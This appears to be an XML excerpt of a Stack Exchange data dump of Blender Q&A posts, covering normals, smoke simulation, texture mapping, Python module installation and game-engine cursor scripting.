  <row Id="12174" PostTypeId="2" ParentId="12165" CreationDate="2014-06-12T14:42:44.133" Score="28" Body="&lt;p&gt;TL;DR: Select all and press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt; to &lt;em&gt;Recalculate Normals&lt;/em&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;N&lt;/kbd&gt; in 2.7x and earlier).&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;I think this is problem you are having: some of the normals are always facing the wrong direction.&lt;/p&gt;&#xA;&lt;p&gt;If you have the whole mesh selected when you &lt;em&gt;flip normals&lt;/em&gt; then you are just toggling between the backwards faces and the correct faces, what faces are backwards. You are flipping the whole mesh, the correct parts will become backwards.&lt;/p&gt;&#xA;&lt;p&gt;Whilst in Edit Mode, with the whole mesh selected, &lt;em&gt;Recalculate&lt;/em&gt; the normals. That should fix the problem.&lt;br /&gt;&#xA;If recalculating the normals does not fix it, then you will have to go through your mesh and select &lt;strong&gt;only&lt;/strong&gt; the faces that are backwards then &lt;em&gt;flip normals&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I think you want the inside of the scope to point towards the inside. That is a case where &lt;em&gt;Recalculate&lt;/em&gt; will probably not work. If the inside cylinder is unconnected from the rest of the mesh, then just hover the mouse over the inner cilinder and press &lt;kbd&gt;L&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="599" LastEditDate="2020-07-26T23:52:53.297" LastActivityDate="2020-07-26T23:52:53.297" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="12175" PostTypeId="1" AcceptedAnswerId="12176" CreationDate="2014-06-12T14:55:52.510" Score="3" ViewCount="630" Body="&lt;p&gt;In a recent &lt;a href=&quot;https://blender.stackexchange.com/a/12173/2217&quot;&gt;answer&lt;/a&gt;, stacker stated that the vortex is better then the wind force for cloth simulations.&lt;br&gt;&#xA;What is the difference between the vortex and the wind? How does each relate to cloth simulations?&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2014-06-12T15:29:29.950" Title="Difference between the vortex and the wind force" Tags="&lt;cloth-simulation&gt;&lt;force-fields&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12176" PostTypeId="2" ParentId="12175" CreationDate="2014-06-12T15:24:04.677" Score="3" Body="&lt;p&gt;This was for the use case when the cloth is pinned. Animating a flag (with a loose end) a wind force works well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By using a wind force the sail in the scene stopped fluttering after a few frames like blown up. Which is probably more realistic if you have steady wind from one direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I wanted it wobble I tested a vortex which  behaves more dynamically, more like a fan where the airflow changes it's strength and also allows the canvas to retract.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yClNS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-06-12T15:29:29.950" LastActivityDate="2014-06-12T15:29:29.950" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12177" PostTypeId="2" ParentId="12124" CreationDate="2014-06-12T16:40:01.007" Score="1" Body="&lt;p&gt;&lt;strong&gt;Short answer:&lt;/strong&gt; Yes, it does matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Long answer:&lt;/strong&gt; Yes, but not that much. Also, my file was broken for a different reason. The reason the walk action wasn't showing up in the exported file was that it was tied to the Cube mesh as well as a fake user. If the walk action had only one user (a fake one), then the &quot;Attach Unused Actions to First Armature&quot; option would have properly created this animation in the .x file and attached it to the Armature. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my file, the walk action was not unused because it was tied to the mesh. The exporter created an animation for it and attached it to the mesh, not the Armature. This action took up fewer lines in the .x file because there were no keyframes on the mesh itself, so the exporter didn't export any.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The moral of the story:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Make sure your actions all have fake users&lt;/li&gt;&#xA;&lt;li&gt;Make sure your actions don't have any extraneous users&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1170" LastActivityDate="2014-06-12T16:40:01.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12178" PostTypeId="2" ParentId="12165" CreationDate="2014-06-12T17:17:39.113" Score="18" Body="&lt;p&gt;You can use &quot;make normals consistent&quot;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Wh8nO.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DZMNR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find out which direction ther normals are pointing at you can enable &quot;normal&quot; in the mesh display tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/72jnJ.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/42txX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-06-12T17:17:39.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12179" PostTypeId="1" AcceptedAnswerId="12183" CreationDate="2014-06-12T17:21:01.023" Score="1" ViewCount="744" Body="&lt;p&gt;I know this question has been asked before (for instance, here: &lt;a href=&quot;https://blender.stackexchange.com/questions/5287/using-3rd-party-python-modules-scipy&quot;&gt;Using 3rd party Python modules&lt;/a&gt;), but The answers aren't getting me where I need to be. I'm not an expert, so I might need a little more hand-holding (sorry).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a script that works outside of blender that uses &quot;python-midi&quot; (found here: &lt;a href=&quot;https://github.com/vishnubob/python-midi&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/vishnubob/python-midi&lt;/a&gt;), but I can't get it to run in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried moving the &quot;python-midi-master&quot; folder into Blender/Contents/MacOS/2.70/python/lib/python3.3 but it didn't seem to make a difference. I also tried deleting that folder (to make Blender fall back on the system's Blender?) but that didn't work either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running Mac OS 10.8 with Blender 2.7 and Python 3.4.1&lt;/p&gt;&#xA;" OwnerUserId="3326" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2014-06-12T19:36:49.507" Title="How can I use this Python module in Blender?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12180" PostTypeId="1" AcceptedAnswerId="12184" CreationDate="2014-06-12T17:42:44.197" Score="1" ViewCount="194" Body="&lt;p&gt;Is it possible to apply vertex colors to vertices that aren't part of a face?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried using vertex paint mode in the Blender application, and also directly modifying a vertex paint object via python, neither or which worked.&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2014-06-12T20:13:46.350" Title="Vertex Paint on faceless model" Tags="&lt;vertex-colors&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12181" PostTypeId="1" CreationDate="2014-06-12T19:20:58.433" Score="3" ViewCount="4404" Body="&lt;p&gt;I am totally new to blender and 3d rendering.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to create is something similar the water filling an object except in reverse.  Meaning, I want it to simulate natural gas fumes that rise and fill up pockets above and then spill out of that and continue to rise.   This would be a constant flow. I looked at the smoke effect, but I didn't see where you can adjust the opacity or color of the smoke to make it adjust to look more fume like.  I thought if you could reverse the gravity of liquid and make it flow upwards, I could possibly adjust the material to look more like fumes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the scenario - There are CNG (compressed natural gas) gas pumps.  If there are leaks, these fumes (unlike regular petroleum fumes which sink) rise and can collect in certain pockets within the dispenser and just like a glass filling up, if you continue to pour (or gas continues to leak) it spills over.  This is the effect I would like to try and create.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some sort of tutorial that I can look at that will help guide me in the right direction?&lt;/p&gt;&#xA;" OwnerUserId="4811" LastEditorUserId="599" LastEditDate="2014-06-12T21:36:26.400" LastActivityDate="2014-06-13T08:47:55.560" Title="How to simulate a gas?" Tags="&lt;physics&gt;&lt;smoke-simulation&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12183" PostTypeId="2" ParentId="12179" CreationDate="2014-06-12T19:36:49.507" Score="2" Body="&lt;p&gt;The midi library seems to be only for Python 2.x. Whereas Blender runs off Python 3.3. But if you are adventurous enough, you can probably get it working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. Installation:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download the source from Github. Copy the &lt;code&gt;src&lt;/code&gt; folder from the package into &lt;code&gt;blender.app/Contents/MacOS/2.70/python/lib/python3.3/site-packages/&lt;/code&gt; and rename the &lt;code&gt;src&lt;/code&gt; directory as &lt;code&gt;midi&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Auto Convert to Python 3 syntax&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run &lt;code&gt;2to3 * -w&lt;/code&gt; on the midi folder, to automatically convert as much of the code as possible to Py3k. The &lt;code&gt;2to3&lt;/code&gt; command should come with a system installation of Python3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3. Manual Fixin'&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point, you should be able to at least get Blender to recognize the library. Fix errors as you encounter them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-06-12T19:36:49.507" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12184" PostTypeId="2" ParentId="12180" CreationDate="2014-06-12T20:13:46.350" Score="2" Body="&lt;p&gt;The &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Special_Effects/Vertex_Paint&quot; rel=&quot;nofollow&quot;&gt;wiki&lt;/a&gt;&#xA;says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The color of all visible planes and edges attached to the vertex are&#xA;  then modified with a gradient to the color of the other connected&#xA;  vertices. (Note that the color of non-visible faces are not modified).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As I understand this, it works on gradients which are not available without edges and faces. Thus you can't paint isolated vertices.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-06-12T20:13:46.350" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12185" PostTypeId="2" ParentId="12181" CreationDate="2014-06-12T21:14:38.667" Score="2" Body="&lt;p&gt;I think you are best off &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Smoke&quot; rel=&quot;nofollow noreferrer&quot;&gt;smoke simulation&lt;/a&gt;. The fluid simulator is better for liquid simulations, as you get a mesh as a result. The smoke simulator is better for gas/smoke simulations, as you get voxel data with density information (you get heat and velocity information too, but most importantly you get density).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make a smoke simulation:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Setup&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create an object to emit the smoke (e.g. a plane):&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the emitter/plane and press &lt;kbd&gt;Space&lt;/kbd&gt;, then type in &lt;code&gt;quick smoke&lt;/code&gt;. This will setup a domain object and some materials automatically. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to do this manually instead:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a domain object (usually a cube) and scale it so that it contains the area in which you want the smoke to go. Note that the bigger it is, the more resources are required to compute the simulation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With the domain object selected, enable smoke physics in &lt;em&gt;Properties &gt; Physics&lt;/em&gt;, and set the type to &lt;em&gt;Domain&lt;/em&gt;. You might also want to enable &lt;em&gt;Adaptive domain&lt;/em&gt;, which skips calculating areas which don't have any smoke.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5lfzV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a new material, set the type to &lt;em&gt;volume&lt;/em&gt;, and set the density to &lt;code&gt;0&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l39jF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a new texture, set the type to &lt;em&gt;Voxel data&lt;/em&gt;, and select your domain object:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vdhbr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the bottom of the texture settings, in the &lt;em&gt;Influence&lt;/em&gt; panel, enable &lt;em&gt;Density&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x4rnL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With your emitter selected, enable smoke in &lt;em&gt;Properties &gt; Physics&lt;/em&gt; and set the type to &lt;em&gt;Flow&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nP3Fe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That's it as far as &lt;em&gt;quick smoke&lt;/em&gt; can do things, so the rest is manual:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the object you want to collide with the smoke and enable smoke physics in &lt;em&gt;Properties &gt; Physics&lt;/em&gt;, and set the type to &lt;em&gt;Collision&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; to play the animation (and simulate the smoke):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KUPL7.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;These are just the absolute basics, there are many more settings for the materials and simulation. I recommend you look around for some tutorials on smoke simulation. Here's a &lt;a href=&quot;https://blender.meta.stackexchange.com/q/40/599&quot;&gt;list of some good resources&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-16T15:51:59.687" LastActivityDate="2014-06-12T21:14:38.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12186" PostTypeId="2" ParentId="12181" CreationDate="2014-06-12T21:26:32.300" Score="2" Body="&lt;p&gt;As gandalf3 already answered a smoke simulation works probably best for your project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ztW7t.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides quick smoke I added a hemi-sphere as obstacle with this settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1Vhpj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A tutorial with more detailed information you find here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=IwyjCfRJye4&quot; rel=&quot;nofollow noreferrer&quot;&gt;Working with Obstacles and Smoke Simulations in Blender&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-06-12T21:26:32.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12187" PostTypeId="1" CreationDate="2014-06-12T22:27:29.840" Score="0" ViewCount="4074" Body="&lt;p&gt;I am having a problem mapping a texture. &#xA;I am new enough to texturing so excuse me if this is a simple question&#xA;I am trying to texture a modular wall part. I am not using uv mapping, I am mapping the textures using Generated Coordinates.The problem I am having is as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I can get the texture to look ok in the zx plane but not in the zy&#xA;plane.  In the zy plane the texture is blurred and not sharp.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The original texture png is file attached for reference. screen shot of the mapped texture also showing the mapping settings is attached. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Is there any way of improving this mapping so that both planes are equally sharp?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The model is a plane (for a wall) with the wood face extruded in y+ve  direction, The strange thing is that if a insert a separate cube and scale it in edit mode along the z axis, the textures map fine. See attached image for details&#xA;What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I managed to figure out the logic of transforming the image, but thats not helping&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated&#xA;Thanks &#xA;chris&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N9QiU.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Wihqx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4815" LastActivityDate="2014-09-13T21:26:54.073" Title="Texture Mapping issue in blender" Tags="&lt;materials&gt;&lt;texturing&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12188" PostTypeId="1" AcceptedAnswerId="12199" CreationDate="2014-06-12T22:59:39.157" Score="1" ViewCount="594" Body="&lt;p&gt;I'm experimenting (outside of Blender) with some algorithms that place balls in a larger box, then incrementally move these balls to optimize positions until they reach an optimal state. Now, i would like to use Blender to visualize these algorithms, once to present the results to some audience, but also to find problems in the algorithms, as well as implementation bugs, as it's much easier to spot a wrong movement in a visualization than in a huge table of coordinates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what i would like to do is&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;After each step of my algorithm, create a file that can be imported into Blender and contains the X/Y/Z coordinates of each of those balls&lt;/li&gt;&#xA;&lt;li&gt;Create a kind of motion description, like &quot;File0 is the list of ball positions at 0 seconds, File1 is the list of positions after one second; i want a movie that moves each ball from its 1st position to the 2nd one&quot;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I know how to solve part 1), as writing STL files is not very difficult, and Blender has an import feature. I will need to create a mesh of triangles around each center point, but i'm not afraid of that either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The part where i don't have a clue how to do it is 2). Ideally, i'd like to create a file that i can import that contains all coordinate sets at all frame positions, but if that's not possible, i could import each STL file at its designated frame manually. However, i still have no clue how to tell blender &quot;file 2 contains the same objects as file 1, just at a different point of time&quot;, and i don't want to &quot;connect&quot; every single vertext manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a file format that can specify object positions as well as position changes over time, that's not too hard to create, that can be imported into Blender?&lt;/p&gt;&#xA;" OwnerUserId="4814" LastActivityDate="2014-06-13T10:06:58.340" Title="Create a file that contains object *and* movement data that can be imported to Blender" Tags="&lt;objects&gt;&lt;import&gt;&lt;video&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12189" PostTypeId="1" CreationDate="2014-06-13T00:12:48.033" Score="1" ViewCount="880" Body="&lt;p&gt;I am trying to make it so when you hover the mouse over a button, the diffuse will change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/huqf2.png&quot; alt=&quot;Main menu of game&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The buttons are made out of planes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want the white plane to change to an orange color. I cannot find a way to do it with logic bricks, but I have done it before and cannot find out how to again.  I have tried action and visible actuators.&lt;/p&gt;&#xA;" OwnerUserId="4818" LastEditorUserId="1363" LastEditDate="2014-06-13T01:06:11.103" LastActivityDate="2014-11-12T12:57:13.200" Title="Make buttons on main menu light up" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12190" PostTypeId="2" ParentId="12187" CreationDate="2014-06-13T00:25:28.187" Score="2" Body="&lt;p&gt;Well, unless you're sure you've done so, I'd check to make sure that the scale and rotation were applied to the object. In object mode, select the object, and press CTRL-Akey.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2014-06-13T00:25:28.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12191" PostTypeId="1" AcceptedAnswerId="12192" CreationDate="2014-06-13T03:27:48.707" Score="3" ViewCount="1946" Body="&lt;p&gt;I would like the mouse to have a custom look like most games and not just the default white.  Is there a way I can make an object as the mouse?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pIFf2s.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/NeWt5s.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="4818" LastEditorUserId="599" LastEditDate="2014-06-13T06:15:41.100" LastActivityDate="2014-08-12T16:47:18.940" Title="Can you make a custom mouse cursor for the game engine?" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12192" PostTypeId="2" ParentId="12191" CreationDate="2014-06-13T07:11:40.400" Score="2" Body="&lt;p&gt;You can use python to do this, for example using essentially the script from &lt;a href=&quot;https://blender.stackexchange.com/a/2156/599&quot;&gt;this answer&lt;/a&gt; by Mike Pan:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bge import logic, render&#xA;render.showMouse(False) # hide default cursor&#xA;&#xA;def mouse2world():&#xA;    z = 1 # distance for cursor&#xA;&#xA;    cam = logic.getCurrentScene().active_camera&#xA;    vec = cam.getScreenVect(*logic.mouse.position)&#xA;    camPos = cam.worldPosition&#xA;    projectedPos = [0,0,0]&#xA;&#xA;    projectedPos[0] = camPos[0] - vec[0] * z&#xA;    projectedPos[1] = camPos[1] - vec[1] * z&#xA;    projectedPos[2] = camPos[2] - vec[2] * z&#xA;&#xA;    return projectedPos&#xA;&#xA;def main():&#xA;&#xA;    cursorObj = logic.getCurrentScene().objects['cursor'] # where 'cursor' is the name of object to use as a cursor&#xA;    cam = logic.getCurrentScene().active_camera&#xA;    pos = mouse2world()&#xA;&#xA;    cursorObj.worldPosition = pos&#xA;    cursorObj.worldOrientation = cam.worldOrientation&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To use this, add an always sensor to the camera and enable true pulsing (you can add the sensor to any object, but I think it's more intuitive to put the logic bricks on the camera..). Then connect it to a python controller with the script:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/X13Kg.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/X13Kg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/29773&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Example file&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2014-06-13T07:11:40.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12193" PostTypeId="1" CreationDate="2014-06-13T08:31:07.953" Score="3" ViewCount="2855" Body="&lt;p&gt;I am currently sculpting and for some reason I can't add detail to the side of my mesh; it only works for the front and back.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If I grab my nose, its axis is locked to X and Z. It can't move on the Y axis but can be moved on the X and Z axes.&lt;/li&gt;&#xA;&lt;li&gt;I can only sculpt on the front and back of the mesh, I can't sculpt on the right or left.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4821" LastEditorUserId="4821" LastEditDate="2014-06-13T08:54:30.603" LastActivityDate="2014-06-13T08:54:30.603" Title="Axis is locked when sculpting?" Tags="&lt;editing&gt;&lt;sculpting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12194" PostTypeId="2" ParentId="12193" CreationDate="2014-06-13T08:37:28.383" Score="4" Body="&lt;p&gt;Make sure you don't have any axes locked in &lt;em&gt;Tool shelf &gt; Symmetry / Lock &gt; Lock&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9XvBB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-06-13T08:37:28.383" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12195" PostTypeId="2" ParentId="12181" CreationDate="2014-06-13T08:47:55.560" Score="0" Body="&lt;p&gt;Firstly as far as gravity goes you have full control within blender. By default gravity is set as -9.81 on the Z-axis (settings are in the scene properties), if you change that to 9.81 then simulations will begin to flow in the opposite direction. You can even set it as 9.8 in both X and Y and have simulations flow at 45 degrees. You can also rotate and position your camera so that simulations appear to move any way you wish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a smoke sim can give you a nice visible result to give an artistic representation to clearly show the flow of fumes for demonstration purposes. For a more realistic visual result I think a heat distortion effect would be closer to reality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BlenderCookie recently had a tutorial on &lt;a href=&quot;http://cgcookie.com/blender/2014/04/03/creating-heat-distortion-effects-blender/&quot; rel=&quot;nofollow&quot;&gt;heat distortion&lt;/a&gt;. The basics of a heat distortion effect is to use a particle system to generate a mask that you use to displace the image in the compositor.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-06-13T08:47:55.560" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12196" PostTypeId="2" ParentId="12188" CreationDate="2014-06-13T09:24:10.023" Score="0" Body="&lt;p&gt;My first option would be to use python to implement your algorithm and run it directly in blender to position the balls directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option would be to read the first file to create and position the balls then keyframe the positions. Then read the next file using the data to move each corresponding ball to the new location and keyframe. Repeat. You would only need a text file with 3 values per line, these would be absolute coordinates in the first file but could be absolute or distances moved for following files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender has an importer/exporter for MDD files (Lightwaves MotionDesigner format). It is only about 100 lines for the exporter so shouldn't be hard to follow. There is also a mesh cache modifier that can use the MDD file to alter a mesh object. While this format is designed for mesh deformation data per frame, you could define a mesh with a vertex at the location of each sphere, then use dupliverts to place a sphere at the location of each vertex in blender.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-06-13T09:24:10.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12197" PostTypeId="1" AcceptedAnswerId="12202" CreationDate="2014-06-13T09:26:40.543" Score="0" ViewCount="538" Body="&lt;p&gt;my question is this, can I generate a displacement map from a 3d image, I have a 3d photo, or 2d stereo pair photos, so I've Not found any softwares or method to create a bump specular diplacement maps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can You help me ?&#xA;thanks&lt;/p&gt;&#xA;" OwnerUserId="4822" LastEditorUserId="4822" LastEditDate="2014-06-13T10:25:41.417" LastActivityDate="2014-06-13T15:00:03.407" Title="Bump/normal/displacement maps with 3d photo" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
